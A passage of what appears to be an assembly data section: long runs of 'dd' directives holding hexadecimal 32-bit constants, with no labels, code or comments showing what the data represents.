775C4555h, 60354C4Ch, 18B53C00h dd 5DCCA44Eh, 5519B8C1h, 3C20BEC5h, 95A20181h, 0B54CA60Dh dd 0A9C4205Ch, 9BE69114h, 0BA6EF120h, 6900E518h, 571F27FCh dd 92930EC5h, 0F598E8h, 6C8E04B6h, 112D9852h, 0F0E7E424h dd 2F195980h, 95A6BFCh, 379D36D6h, 7C2D7C00h, 1F09FBC9h dd 8063FACAh, 9265090Ch, 36E538A9h, 0BC3C1D73h, 0AD9F0Ch dd 0CA9B3BA1h, 57176EB9h, 3A052101h, 21C0BD26h, 7C09165h dd 0EFE304A2h, 8C834070h, 589A073Dh, 0A7323B0Eh, 0A89CC0FCh dd 0BBEB9Dh, 0E3E1A446h, 56454F97h, 38CCC0A0h, 72CB101h dd 525BAD55h, 1EB580F4h, 3EB87109h, 0B6601D03h, 8D998624h dd 8CDBF4F2h, 6EFC0400h, 673DE023h, 0E2050C92h, 0D929887Dh dd 2CD5788h, 0B09F7EE5h, 0A1E01262h, 0C2004FD7h, 0A7712CA5h dd 11C6942h, 0F5B6AA2Ah, 602BB922h, 89FE11DFh, 1FF3A800h dd 40CF9946h, 9ABE0039h, 0C0F8A609h, 0D1002031h, 9FFE860Ch dd 7D361Ch, 44018910h, 0F4E2650Dh, 6DAD500h, 18EC4FF9h dd 41843BB0h, 0BDF79900h, 0D0AC136Ah, 74905300h, 5F649D78h dd 70520003h, 12CAA193h, 7503A33Fh, 7A444A9h, 0EA10A86Fh dd 9C0D1F52h, 1F908030h, 4DF30BF7h, 0BD956B03h, 9DD6363Eh dd 6EA0A800h, 0AB6703h, 0E0DBA1C9h, 3B3994BCh, 0F831B800h dd 3022FAB0h, 0C772075Ah, 20C5C266h, 582AE72Dh, 0AE2DC18h dd 387036h, 3DC86841h, 9ACF13A4h, 0C1D81907h, 7570116Eh dd 999B05h, 783B6CE9h, 6A08B17Eh, 1CA9FB00h, 0DDB23793h dd 35A60067h, 0CD830963h, 2C00BB3Ah, 0B1CCF5A9h, 285CC5h dd 0EBEEE542h, 32A08DECh, 77795B00h, 465CCC6h, 0E4940027h dd 932E235Fh, 0D75C6FDAh, 9D540044h, 0EE0D0FCAh, 8A90C7h dd 0FC900532h, 303678F4h, 9BBC7600h, 9719401Fh, 0A2CF1FC2h dd 3F92C0F0h, 93819AFAh, 0D211CB00h, 0BDEBE83Bh, 58E200E6h dd 33779E01h, 5D002A0Fh, 3FABF909h, 1601696h, 0CD39B925h dd 500F76A4h, 2E9187B8h, 2B438B00h, 0EC9B5EC9h, 1D7200F6h dd 3D138638h, 83006352h, 0A461EBAh, 7D23AC6Ch, 5760018h dd 1C143AFCh, 5A0070C0h, 755B7EEBh, 0E808CEh, 3A368D84h dd 187BA9Dh, 71DBAA00h, 0A4936166h, 588E006Dh, 0C3347C28h dd 7F00253Fh, 4C3CC64Dh, 27DEE4FAh, 2749B54h, 286D7800h dd 0F6470B2Ch, 18F50084h, 0A7A56B89h, 0A6009788h, 0DDC99555h dd 5D2FC4h, 0DF81B037h, 0D0910341h, 0B6485975h, 5EE20ECCh dd 77838061h, 0A0E5F8h, 0CD9268AFh, 0BD90956h, 76A27C00h dd 2A5F0D89h, 0E02500A0h, 0C8921632h, 0D47D4D14h, 74DF290Fh dd 60194058h, 4E046Ah, 55AC6C9h, 547BEB09h, 93AAE001h dd 7CB62FC2h, 55B9D8h, 5979A6BFh, 62C003EEh, 52AC1500h dd 96F4EF5Ch, 4E0A0013h, 5006BA8Eh, 0B60F0B26h, 0C0C28467h dd 57305A40h, 0E63E00D3h, 0B3F32120h, 1C0081D5h, 0CDEE5802h dd 2BE3FFh, 0C18EC209h, 6BB5735Bh, 0C1E7605h, 8007BC17h dd 0BF11097Bh, 0F05106CBh, 9FFC2BB8h, 322500A2h, 0AC29D198h dd 0CA00C928h, 9CA01AC8h, 7D86C6A1h, 0BD8024E8h, 40E11CA8h dd 0D8071962h, 0FD123FF6h, 28015877h, 9B79A32Bh, 7564F4h dd 334E2094h, 8A1BEB23h, 8632900h, 0F8DDE3E2h, 22D260Fh dd 0A6F90F1Ch, 1B707E3h, 82806000h, 9B29EEC3h, 0C2E23BB6h dd 9EFD30Fh, 25BDB5C3h, 0EAD2B088h, 3FF71E1Ch, 0E6818218h dd 831500D1h, 98624163h, 160069C8h, 6B352693h, 3E7D420Dh dd 0DD01E74Ch, 1106E49Dh, 3A9FE8D5h, 71B7CF00h, 0A9743D1Fh dd 0B86D0063h, 94D6EE47h, 3A00ED3Bh, 0C789145Bh, 0EFFADC3h dd 28D31690h, 0C08B5240h, 0DB00FAABh, 213D9634h, 1264EF72h dd 0A9473Bh, 75814A58h, 690005B6h, 0D8EC3F1h, 5822FC2Ch dd 12002408h, 0B86B4101h, 1D006EE4h, 33038F3Eh, 3C9DACEh dd 658062A5h, 0E2E0E610h, 0CD003A53h, 0E5C29D24h, 0A48E8Dh dd 7529B5C7h, 4F3C1CDDh, 0FC9031B0h, 144D0EB0h, 0B6A300FCh dd 554DB8F2h, 0D890C683h, 9C8414F4h, 0E1E4760Ah, 0D780E0D2h dd 7D995A1Ch, 0F0E00035h, 0ABEA2803h, 0A97CDF47h, 86276A00h dd 0FE8FE7C5h, 2CB050h, 12163DAh, 5FB68889h, 34008E74h dd 0E0D5783Eh, 6947CCh, 67CE4D0Ah, 0CB2CAE10h, 0EE8B6D00h dd 7FBA8955h, 0DDDF1E0Ch, 81F7C784h, 0D0DC8736h, 77919ED6h dd 99BDA51Eh, 83E380BFh, 4FA68E50h, 0D93002Ah, 7B8A7088h dd 0C200A768h, 0AB90C3FCh, 0E3F21Fh, 423A5530h, 0EF15E091h dd 0D700677Ah, 21AD0C5Eh, 0F379EBBAh, 8ED2D4h, 87AB6D20h dd 9F4A2369h, 0E10758h, 7F4B3865h, 0A0BF51h, 302B22D2h dd 7FBCFEFh, 2EE82C4Bh, 4AB6FF00h, 0F86F0E4Bh, 0F5081300h dd 81545B72h, 7AB31F77h, 0EB80802Fh, 8A9E25B9h, 2B598D00h dd 615A3421h, 0E91F00A9h, 0F540C9BAh, 0AF05E11Ch, 8488107Bh dd 6A0C000h, 33CDA1h, 0CBA4E71Eh, 0EA45C872h, 0BC54200Eh dd 20302E83h, 63BF4EA7h, 0F8760E94h, 88016225h, 0E36C82D2h dd 0C4230E90h, 0CE185DB8h dd 47B0343Fh, 19627B79h, 100F9371h, 815534D1h, 25D00D63h dd 0A837805Ah, 0BF870078h, 0AB101F02h, 6304B293h, 0F2A60EAAh dd 640D9F80h, 16018C3h, 0CEAB686Ah, 30595C22h, 3A246231h dd 0DE1CEE94h, 0E21C526Ch, 0FD604206h, 302AE620h, 26B183CEh dd 0E390865Bh, 9DEA0B00h, 16688D06h, 2790004h, 93E7D6ABh dd 63038991h, 0DF2E6D3Bh, 4CA09707h, 50CFCBh, 53068146h dd 0E3FC583h, 25494F00h, 0D52CA960h, 0D7FE000Bh, 62619079h dd 0A100AE31h, 6C94E143h, 0CAE6FFh, 0A4D4ABE0h, 0B9D55902h dd 63054900h, 55677278h, 76E576ACh, 9834E452h, 0AEAD2ECCh dd 74560760h, 0A94BE012h, 9001C4CDh, 4C4E01A5h, 0D2FC8E9Bh dd 59F2000Ch, 0BA2FE05Fh, 5500EC2Ch, 0B94D7392h, 0F4C8462h dd 0A35B6114h, 0C8BA15A0h, 605012C5h, 600318Ch, 9B0A09C0h dd 6D6FCDh, 42E0E8C9h, 0A24E899Eh, 0DA00CFE6h, 0E448D525h dd 8F0964h, 5CA8461Fh, 7DC09C7Ah, 607ED700h, 3D94CA23h dd 326B00A9h, 97B7F10Ah, 2A71E1A7h, 8227331Fh, 0FFE295C0h dd 0EAC75Fh, 0D3C0171h, 2B3F35D4h, 0EB51F600h, 7CE28008h dd 13441C93h, 0B84F47E3h, 951E70A6h, 0B200E0D0h, 0F5D6B919h dd 1DA23Bh, 5CFF6E21h, 0A79CA1A6h, 0B2C47F00h, 8B606AB1h dd 0AB9A0009h, 0B0312959h, 0E500B776h, 3C3311C1h, 918C1Bh dd 0A22C7A5Bh, 0AA8E9DB9h, 5C723100h, 0ABE7AF94h, 63F30025h dd 0C0085169h, 56274549h, 1E9C7820h, 93E9EB2Bh, 7F6800B3h dd 9D82CA1Ch, 9E6C9154h, 0EF388D03h, 0E09809C7h, 790E3E32h dd 0D08000B9h, 0C1FEA886h, 0B5006249h, 6A55B49Dh, 5CF0FFh dd 0DB0E3BF4h, 47832F79h, 86293F1Fh, 0CC88BF80h, 30756774h dd 24184ECDh, 730014D9h, 0DD5E9EF3h, 5292DFh, 6BE83E33h dd 8B6A7DEAh, 0FC2A9428h, 26DF0D00h, 2BDEB185h, 983E9879h dd 0C241CAFh, 475789h, 0CF6627BEh, 34008642h, 4A257C4Dh dd 9006E73Eh, 0E5E11716h, 9CD804C5h, 5AB49080h, 8107F2E9h dd 44CD7D58h, 0E8283773h, 3A1A6710h, 653CD79Bh, 0A7B1A980h dd 0EC1FF5A2h, 4B0756EAh, 2DEF5AC7h, 9981BA60h, 0A53E0262h dd 6FF6AD3Ch, 5280F08Eh, 314AEF3h, 5A95B304h, 84C1F940h dd 0B883355Bh, 9C73AC87h, 2B4C317Fh, 696B0082h, 48DEEF3h dd 0F4FA50DEh, 0B2A30085h, 0D211EF2Fh, 1B0058C2h, 4564DB16h dd 23856AFh, 48B64C77h, 3048B280h, 3AEA1D32h, 0B18B6200h dd 2C7C4631h, 0D3DC15F6h, 6600AC80h, 5D88C62Bh, 493AFFACh dd 3244F80Ch, 7E5A00AFh, 79758F64h, 38009A31h, 0B6B225FBh dd 66C069h, 0CD510520h, 609F73CBh, 36FDA300h, 0F0CC2906h dd 5CC6004Bh, 4F58B2AFh, 0F1016BA6h, 0CA3E2F80h, 0BCEC6C09h dd 659F0F8Dh, 1D80E9E8h, 0FA33FC4Bh, 5E83AD00h, 6BE53520h dd 6A6500B2h, 4866490Ah, 0A93B62E2h, 0DB00FFA1h, 13D764FEh dd 247C2B8Fh, 3D787445h, 78B3AD01h, 6467C7DCh, 97047B50h dd 2955A682h, 266EE080h, 8980004h, 70CB6291h, 37001F5Fh dd 9A4EB3B6h, 56E0C1h, 0A772A82Ah, 0D692536h, 0CA9E1607h dd 0DC50D329h, 0A028E35h, 5D64C74Dh, 40BE8EBCh, 0AC842440h dd 8310C0D5h, 0F51154ADh, 4E70096Bh, 550007D9h, 8016CA52h dd 0B67817B8h, 2A7C0445h, 80E0BC9Ch, 95EF47F4h, 0C6FFB200h dd 48B3580Fh, 0BA900020h, 0E7FE44A9h, 8E04E10Eh, 0C958A30h dd 0C3276E80h, 710B002Dh, 92D9B7A5h, 0C40011E0h, 5168ADC8h dd 0E323B1h, 0A286532Ch, 8E07BF4Dh, 6C479500h, 0B83D129Ch dd 5B8C002Ah, 480A4149h, 4E03A311h, 95D7DDA5h, 71C8BEE4h dd 0FD8E00D0h, 0C31C1DACh, 96FA335Eh, 27879900h, 58D4732Dh dd 0E5DE5C07h, 690F1A0Eh, 1D13EAA0h, 5600DC93h, 92444A29h dd 70B65B5h, 2A1B8909h, 0DAD630DBh, 0D715DCC1h, 9C2DB9h dd 19E12063h, 2E7C8Fh, 0DEB53294h, 0A3D088B0h, 0F6AFFC05h dd 0C404642Ah, 0D0C14ECFh, 50F0E002h, 0F55287Bh, 0EF2707B4h dd 9057061Fh, 0B01BEFCh, 0D94018C0h, 60E1AAE2h, 781B7076h dd 0BF034837h, 17CE4672h, 697BB841h, 58884C58h, 4CABC904h dd 7F40C343h, 72AD7AA0h, 64498300h, 8015F98Bh, 0F05A0008h dd 413282DAh, 4A1F8753h, 4EC0D76Fh, 10A9860h, 6E350058h dd 0FCDC6A40h, 97007F71h, 0B6BC61Eh, 480469A5h, 94003C0Fh dd 0AE0C27ECh, 550711A3h, 80187846h, 710D7FA0h, 8FADEh dd 0D8164CFEh, 3A1E5AC1h, 113F8C7Fh, 936405E5h, 0A4802B19h dd 0F2CC6Ch, 0D5729979h, 80A9102h, 0FB0FE700h, 0EEAA23CEh dd 1D73F65Fh, 7DCA2EF2h, 7A288F00h, 620ED177h, 1BC3D603h dd 0F0AEA099h, 0F8A81FCEh, 0D7DE00A4h, 1E039EF7h, 2F00956Eh dd 514992BFh, 0BDC4F0h, 3840A970h, 0EB310844h, 3BEEE100h dd 0B5614707h, 0F359FAD3h, 43FDF8h, 0C99DB00Eh, 0ECEBC7F5h dd 0F60711F4h, 2A79585Dh, 778008E5h, 3922B72h, 0F8712187h dd 22B041DAh, 444A0924h, 0F6652400h, 2C0DDF3Fh, 66A9CAh dd 13207B99h, 0AF0F97C7h, 734BBEh, 0D65951F7h, 0F01100F3h dd 0BCAA7E6Ch, 892C02A3h, 3BF1C81h, 0DEFE4CBAh, 788FF0E3h dd 4E45241Ch, 230480B8h, 0C57A2E2Bh, 14348B01h, 89C2E5DFh dd 9B3360h, 0A270922Fh, 0BF1A37E3h, 63B8C502h, 0E8480205h dd 7EA0D74h, 1A0881AEh, 52FB33C4h, 280944A0h, 20620C7h dd 416193C7h, 1C29C122h, 0A3590403h, 0DC816A27h, 3708813Ah dd 0C2BA88C3h, 3D6028C4h, 0F70794BBh, 80C72938h, 0CF8A82B2h dd 98972A00h, 3D84A49h, 50F09242h, 62CA6Fh, 8260A4E3h dd 336B9CBh, 8CC46A01h, 0BC0B47Bh, 574CE0h, 52CEF5BBh dd 0F8F28790h, 5CAB314Ch, 54E8006Ch, 613CE0C5h, 0B60F0128h dd 0AA6E9C81h, 72F7F05Ah, 66DC9D00h, 2E8DE8D5h, 0D1AF0025h dd 0C519EF97h, 1000ABC6h, 0BF5D7A82h, 154ACFh, 6B6576AAh dd 43501644h, 8E059F00h, 8AD510DFh, 618107C7h, 109B3979h dd 0C55565D0h, 0FD0022FEh, 0C8273A49h, 77AA3E6h, 1AEF6124h dd 0B5120005h, 9800BC4Eh, 519D45D1h, 0E768E3Bh, 1459D4FEh dd 0AFB76C20h, 0E60E0CB6h, 60F90185h, 0AC36C2CAh, 0A81803CEh dd 0BC4B0A1Dh, 0F95569C0h, 22445F00h, 14E9E754h, 3F2E39B8h dd 0FD86B080h, 3B0A75C0h, 0A717D100h, 2E76BDD4h, 0C4F42Dh dd 0AEF68A3Ah, 0A248E6D6h, 0DC92007h, 55C0CAB9h, 0E2187111h dd 58ECF837h, 801CF16Ch, 465E40C1h, 54B4E2A4h, 0A7919300h dd 0D3B9BCA9h, 5C0500D7h, 0A5E78CF9h, 0DC1CF4DBh, 778027A2h dd 0BF0C399h, 2D5E0025h, 6415A8FBh, 7D3ED550h, 801E39DEh dd 92B81D78h, 1332FA2h, 2B8A1BACh, 8070B9BAh, 71868780h dd 0DEB0FFh, 30E9D44Bh, 4EDD95B4h, 92F6F700h, 8DD5B26Ah dd 4FA5008Ch, 0F942B328h, 2F00730Bh, 38C86659h, 19571A0h dd 1F6CE353h, 0D009BF87h, 0CE004514h, 0BAEE3624h, 0EC8485C4h dd 60E400F7h, 732579D6h, 47005741h, 70E3C556h, 49B97EEh dd 864E683Eh, 78C6C25Bh, 0C76FBD40h, 0B9F23000h, 74F19B7Ch dd 4F7200C2h, 1A29A215h, 0B80088E2h, 8A50EADAh, 9291F37Ah dd 75B00160h, 0E398DC4Bh, 8E808035h, 6DAEDAC2h, 0E4FE0F51h dd 6EC11194h, 40680A20h, 95B2D7EAh, 5E70280Fh, 0CDD4074h dd 140D53ABh, 0D029D694h, 45FA7100h, 68DA6039h, 2DBB1000h dd 4379C52Bh, 0E35F1D07h, 7592BEh, 5E284821h, 987109ECh dd 0F4F83900h, 0FD46F374h dd 62CE1385h, 90D9004Ah, 0A4727AC0h, 44CDA900h, 0A1EB8637h dd 0FB970369h, 23E77331h, 9022A7A8h, 0D3E18800h, 0E44BDA9Ch dd 0FCD51E53h, 2B4945E7h, 87880004h, 54EBE65Eh, 0B69044E8h dd 0D552DA03h, 0E3B071F9h, 45113AFDh, 0A838EE9Ch, 67930050h dd 17AC5D8Ch, 8A006BA2h, 7E801B53h, 147F54B5h, 84DC34AFh dd 88009D7Bh, 0E7D92793h, 0BB94D00h, 0A89BA6F8h, 157E040Dh dd 803B1089h, 0C5A26764h, 8E87FC00h, 64E486A7h, 0B99A02A3h dd 363A7139h, 82A820E0h, 85B38D00h, 0C9E6F1FAh, 1AAE1EBBh dd 0D2708A45h, 75F000ECh, 4626BE49h, 180ABF24h, 2C15CE87h dd 0A020E872h, 2F57B294h, 1C6B009Ch, 0F90D0314h, 8000BA62h dd 1ECB4305h, 2657B7C7h, 30620839h, 0ED5E9421h, 0ADAAB900h dd 32544CCBh, 0B421003Dh, 0A04B7B18h, 470FCEA8h, 0E73B0ED6h dd 0D2919303h, 9020E283h, 5AE939B0h, 808E801Eh, 0A17F7397h dd 207150E3h, 4229D301h, 17F96F7Ch, 30954FD0h, 0E3D8F706h dd 0DD04FFCDh, 0AE4BDF76h, 0E9EC2942h, 448CA980h, 190004B5h dd 6F15E7DDh, 458593h, 4F9C57B6h, 0E5FFF9BEh, 4B000890h dd 8FD495E3h, 1634E01h, 9B73D0Fh, 0A8474A3Ch, 410088B8h dd 24A2C5E0h, 2E87CDh, 2A6EC457h, 130F54B3h, 965F6D00h dd 16AA7A25h, 12310355h, 749314F1h, 0A784E1F0h, 2F72300h dd 5BA437B6h, 2CF500D4h, 72E9C0CFh, 4B98826Bh, 16594C00h dd 0C47E6FE3h, 0B74E12C2h, 0BC1C06h, 73BEB5EDh, 4D00A638h dd 5935F3CEh, 93A804h, 0B54AA4F2h, 345481DBh, 7FAFF60Bh dd 9CE00045h, 0FAA3178h, 1DDCE6BFh, 7AA98860h, 0C8002292h dd 0D509F0C1h, 3F24255Dh, 79823FBCh, 4929305Ah, 800EB8A4h dd 2CC36032h, 0B740C100h, 1E8D5A45h, 0D213DEDh, 0EC1F4200h dd 4A9C024h, 739A4600h, 23EA5397h, 5B322EEFh, 864400AAh dd 0DD01CD1Ch, 0DC1DC503h, 9025C26Dh, 1896AABh, 75F6E64h dd 0E80B1594h, 5100B80Fh, 1A2F2160h, 0E4B47726h, 0D89207h dd 0BCE2D9EEh, 22F0A1CCh, 145D3A05h, 0EC00C29Bh, 86F1974Ch dd 0DF4A827h, 987B07F7h, 0D0D07099h, 8258C68Ah, 84FA4500h dd 2BC8064Eh, 0C33D37EAh, 0F0E55730h, 6BE71CA5h, 63600A72h dd 0CDEE8579h, 0B7FB00E4h, 0C10CA4C4h, 3EA6655h, 0E4E4C751h dd 4900150Fh, 2F59E2A3h, 3B40ADh, 2493ED7Bh, 864284DBh dd 0BD65DE03h, 980DF2C3h, 2743479h, 24C2D0FDh, 0B34001A7h dd 0E7070966h, 0A317E3F0h, 1AEB5AD0h, 84BE007Ch, 2AFB346h dd 0CA00BC55h, 0B6DE87CCh, 24713C56h, 320CD09h, 9A2A4A66h dd 48ADE2D0h, 6D7A010Ah, 55018891h, 31D28D98h, 0FF25C4h dd 0EC20B2Eh, 0C167647Ah, 70809F0Eh, 2F2B80B0h, 0D09775h dd 0F7945540h, 4BE6326Dh, 4ABD8700h, 0A549A685h, 10E103EBh dd 732B92E7h, 5B11DBA8h, 0DF463E2Eh, 3B93702Fh, 5097CED2h dd 40DD01EAh, 4349785Ah, 66E095CFh, 0CC016003h, 2FF83374h dd 0DE703D91h, 2CE20006h, 0E0D0EDDEh, 5D0FE465h, 20CF2829h dd 1EE14FDBh, 53611764h, 9C17007Bh, 0BF8127C8h, 6DE21D00h dd 132D49F6h, 36D8EBCFh, 0D49402CBh, 57AC280Bh, 4702ECC8h dd 0EBED5900h, 58E4B5AFh, 0C17486h, 0E39A6320h, 67D51139h dd 7FD0684Dh, 0C61DB91Ch, 756ACC01h, 0E2C8B4CDh, 0CB440007h dd 0D99EE00Bh, 40C087DCh, 4F2EE4EBh, 27070069h, 41157732h dd 6D00D4ACh, 406773C6h, 10B3CEh, 55847013h, 5423BDF1h dd 2942B3Ch, 5D610621h, 0EB806165h, 19AD1D0h, 8F0DF689h dd 60B787A6h, 0C400A4D1h, 0BB4475ABh, 3C4FCC57h, 63D82F55h dd 22809800h, 0BC027009h, 7AC26401h, 0DE59BD46h, 3A1CDCh dd 91B6F12Ch, 7D320D8Fh, 0E09DCA0Bh, 3C1480BCh, 6920CA2h dd 4271F13Bh, 22F888A0h, 0FFECE907h, 2E7FB2F9h, 80408219h dd 0E5984017h, 0A6AF00A1h, 7F44C51Bh, 0D901347Eh, 841394FDh dd 11C42B09h, 29BC01D0h, 620206C5h, 357CF8A3h, 9700C0F8h dd 0EB4637F7h, 50774450h, 1E3C3C89h, 0B020CB2h, 0C20ECAFh dd 78729E53h, 0AA20D260h, 0F405E40Ch, 0C18107E7h, 1523EF4Ch dd 761800DCh, 6618A043h, 729610Eh, 8D2810Eh, 92E502CDh dd 0ADFC9075h, 0FFBCA881h, 8BE8C3E9h, 57B95C3Fh, 0E09C204Ch dd 52B9B000h, 0B48737E3h, 10700014h, 5A972DA9h, 0A2017FA6h dd 6CF4EBD2h, 53DC50BBh, 0B37BD6h, 78550311h, 5FA93642h dd 12F9A000h, 9E981760h, 0E6A1EC9h, 0F59C0C64h, 44004391h dd 0F63EADEAh, 0C0C32167h, 0EBB1419h, 647055F9h, 2E6C60Fh dd 5C40F3FEh, 5FCB1D7Fh, 0A5980038h, 40691B9Dh, 2D1BC6E8h dd 0DA185107h, 42FBE0FEh, 78D6F880h, 0AFE81EE9h, 0F63A005Dh dd 939B9768h, 88B2E52Ah, 0D820E10Fh, 0E0BE4762h, 8588E850h dd 1FA67867h, 77012166h, 0CDB01380h, 0F1181905h, 0E440BC15h dd 2EE532F2h, 688760AFh, 0DDA01D78h, 0EB983500h, 0D32D7924h dd 6FA0CB82h, 0E590BD01h, 3E818363h, 750AFD3Fh, 724A0058h dd 57E95086h, 1C6FA18Fh, 0CEBE018h, 1E64564Fh, 3B09B454h dd 4AA21Eh, 2C65D5E8h, 1D18F58Ah, 0EE585538h, 9CC7282Eh dd 7240048h, 0E73397D2h, 0AB0084BFh, 0A9F7FE2Bh, 7E0E6FFh dd 3AE41730h, 4476D0B8h, 7800642Eh, 7AD82977h, 4C173342h dd 0F1006734h, 4385FB01h, 780C7CBEh, 58F7F3A0h, 452E00C5h dd 790488C1h, 7C1BFA42h, 0E068294Bh, 0CE02B5A9h, 84E3DD18h dd 591367E1h, 0EBA423h, 44CEC951h, 8C6B182h, 0C204557h dd 2B75AC26h, 25404350h, 0AAA91B31h, 502388FCh, 75D80180h dd 18A9FD3Dh, 0A0C2882Fh, 3C907514h, 83E40086h, 0D8036BCAh dd 0CAF7E7Fh, 41AB7CB8h, 0B6C0EC68h, 0E8199142h, 17371E5Dh dd 4FD31D03h, 9C00A2A7h, 84A9F107h, 18CC08C6h, 4F720020h dd 62101FA7h, 15007D47h, 228FF02Eh, 0AB48F902h, 3B101B0h dd 5A6C0AC8h, 80C447EEh, 0E10495E2h, 1FCA685Ch, 245DC567h dd 0B1211818h, 36040083h, 0D3A7F557h, 28119274h, 7300FBBEh dd 476ADFFh, 780069BBh, 0F5B56D3Fh, 1E38BCB4h, 0B7D774FDh dd 0C5B7D0E0h, 51304D42h, 2CE20D0h, 431230B5h, 0EAF733C8h dd 0AE812E00h, 0C03411FFh, 0F08CC26h, 0F2008021h, 1A64382Eh dd 1B4488F9h, 0E030084Eh, 0A918D87Bh, 7388BDE0h, 364B384Ah dd 50AD6F00h, 17704CDh, 0A88C4300h, 51A5EE6Ah, 0F5C000C1h dd 3A8F63FDh, 0CA035BA4h, 0ED211A05h, 0B10AC08Ah, 34500EAh dd 0B37742A3h, 1A011CDBh, 3E397DA8h, 0A1F84E74h, 0FC3100D6h dd 9870EA02h, 0DB1BC0F1h, 0E22945ABh, 3DAC2273h, 22C34422h dd 0F62241D5h, 296C2280h, 0B2215824h, 20FA12AEh, 3E55687Fh dd 0F6880602h, 801CE54Fh, 0AD4041FAh, 520F0004h, 3C8CB5C4h dd 0E3009D6Dh, 0AB1A845Ch, 0A0D1B6h, 0C46FD70Bh, 0F24C2DD2h dd 0EF34Ch, 9ACC1434h, 55F0Eh, 46F54D67h, 201EAD8Ah, 0B11751F4h dd 0A80089E5h, 0EFEDDF7Dh, 9C2F3B8Ch, 2C4A5980h, 0C2711435h dd 4477B400h, 0D1DAB1Bh, 0F570F38h, 9FA0F5E3h, 0C8A0CCF3h dd 0EBD97F00h, 96718E10h, 8F183077h, 0CE5640B2h, 0CB749807h dd 0A1F0EE1Dh, 4BD004h, 2A01EFC1h, 2DC3F4A9h, 0A73D58h dd 6490420Bh, 0A9E1749h, 220F350Dh, 5C460080h, 59E5448Dh dd 0D6DE6700h, 39942CD3h, 52E70079h, 0A470044Fh, 0FA184CA0h dd 88B0AAF8h, 0DC251D98h, 83007CB4h, 0B3FF936Fh, 44FE3989h dd 1BA2400Fh dd 0D6D9204Ah, 16AD5274h, 7750C73h, 606C13E4h, 0F30B5BDh dd 0CC80D607h, 1D70D917h, 3F9CEE7Bh, 204CF6D3h, 4149E10Eh dd 5E64B720h, 7D00E4B3h, 79DAF190h, 0E0414DBh, 65460671h dd 0F5895D00h, 2403A753h, 43A5C441h, 4AA58FD8h, 646DC7C0h dd 7C3B00A0h, 4C88E3B6h, 290075A5h, 78657154h, 16E99BC9h dd 5699A82h, 3A1F613h, 769FB5BCh, 0E9361107h, 3B9462B7h dd 0EFA0F10Fh, 9AFB5F46h, 0D631C703h, 0BE656Eh, 0E8A31521h dd 981A4394h, 0B2008FFEh, 0D8D6B525h, 0F8E7B3h, 4DD001A4h dd 0F678CE75h, 0CAE4FC00h, 98E99776h, 0C7B00037h, 0CC2250Ah dd 0B50E34E3h, 801EF5A9h, 7FDBBD92h, 4C71E9h, 209E432Bh dd 0B0A818AEh, 3C2DC00h, 0A471EA25h, 24E66Bh, 40CF2EB8h dd 1DAA556Fh, 75EC0A01h, 0FC7930E8h, 0B216CCh, 0C5ED439Bh dd 0C08B8C4Dh, 0B689CF00h, 7E597711h, 0EBB80714h, 86D61631h dd 0ED01E61Eh, 93826695h, 0E4D848F3h, 92330081h, 1F585E31h dd 0BC002BC1h, 7D72132Eh, 0C96E7Ah, 2394DF4Bh, 347B70FAh dd 5E90820Ah, 8800D869h, 219C01D6h, 0A1BA005Fh, 2AC8B35h dd 47072E99h, 904538E3h, 3EC06E95h, 0ECD7661h, 1AAB2AA0h dd 80EC89A0h, 430353E5h, 25DA18D2h, 27DEC095h, 33AE09FCh dd 0A4001B7Ah, 0D1C37B5Ah, 2F8A2E1Eh, 5F97BE80h, 1CB4944Bh dd 801EF05Ch, 0AD60DD84h, 0F600A7C6h, 0A8C52E0Ah, 8D2454h dd 29C966E9h, 3B87B14Dh, 0BC96A900h, 956F73ECh, 697E2490h dd 2117BBh, 0A2B20E5Dh, 2A19F08Bh, 501134F9h, 0BB960280h dd 908D9C77h, 5CB32124h, 2C408413h, 1BE858C6h, 0AC610F9Eh dd 3324BE2Ah, 714AC0D1h, 42E03E63h, 0E2869304h, 5F8537B1h dd 23FF1D00h, 484CFAFCh, 609F833h, 0A2503D5Fh, 0B06A1D00h dd 0B4835AD0h, 71D5FCB2h, 0FB0200AAh, 0C5F5C9C1h, 0CB00FAF9h dd 74DF9170h, 4B5248h, 82A5609Ch, 7C5845D5h, 91006779h dd 9447A472h, 5F08F7h, 7E2A4099h, 0B5B6885Bh, 0DBF2DD01h dd 0E119F551h, 5F84C8h, 2C152DC2h, 0D90C066Eh, 4EE6EE00h dd 3797F6F3h, 417C07h, 0E3366DBh, 1053562h, 2A02C70Eh dd 6945424Eh, 104446Fh, 83C1C618h, 0C8BE61D0h, 0A0A18A73h dd 0AC00637Eh, 670084A5h, 117DCF75h, 842886h, 9EB57992h dd 0E55A4294h, 4C52F700h, 0F9E76C2Ah, 0EBB7C99h, 580F0E7Ah dd 38F63D42h, 0EB1DCC40h, 0A3A68000h, 0AAB35177h, 3963717Ah dd 0FF50DC61h, 30D0EC0Fh, 0F630393Bh, 1F260CB3h, 0A0245C77h dd 28BFC600h, 0D48F7Fh, 657E707Ah, 40C12A4Ah, 58D8100Ch dd 0CA2853h, 8D075F6Ch, 1B755063h, 4E1C400h, 40C62165h dd 0A1F468h, 2B02CA59h, 0F482F134h, 0A6C88500h, 1A540AE9h dd 0AA010728h, 0F2486DD4h, 0D840408Dh, 0DE06FD37h, 7B902278h dd 0F2B61CD9h, 898C0031h, 6EB38DBCh, 7BE5B800h, 0E9EB6FD5h dd 3B240026h, 7912E8E3h, 2300338Ch, 66995A48h, 1D9A351h dd 34C6E526h, 2042EFD6h, 531CAB40h, 9002B567h, 6B9DFCB2h dd 0ACA998A4h, 9EAE021Ah, 158FA350h, 0EF8498A0h, 0E6C1D9E9h dd 51B1C944h, 4BE5E4h, 20B69B06h, 0C21AAEFEh, 82005B74h dd 59D9E2A1h, 0FCA4991h, 9FA123Eh, 1BC86D81h, 9508F86Fh dd 7CDAAC00h, 0DC669B19h, 9EF80383h, 87B6D68Bh, 0E20B6273h dd 80B09D2Bh, 0C089B4C0h, 8DEF0742h, 0A0F10485h, 9C15DE4Eh dd 80DB743Ah, 3BC52289h, 7587E8h, 2DB9B861h, 5A4E9DE3h dd 35E26800h, 0DD0D8583h, 0FF2A016Eh, 0AC0567AEh, 6448C05Bh dd 0C8583D3Eh, 45E0327h, 807DE2CEh, 0F987BC9h, 0DD4E86D1h dd 8C7EA440h, 2D0EB768h, 0A014B9E4h, 527B8E08h, 0EE887296h dd 0F093D24h, 8086481Fh, 0EB0C742Dh, 720064BEh, 171C4253h dd 6BC326h, 0BF338893h, 2F9F0435h, 364EB400h, 0D0212B24h dd 0AC06000Ch, 1B352D1h, 84009479h, 2AE697E3h, 754E18h dd 90D53AF9h, 0A1F8A98h, 4C23C300h, 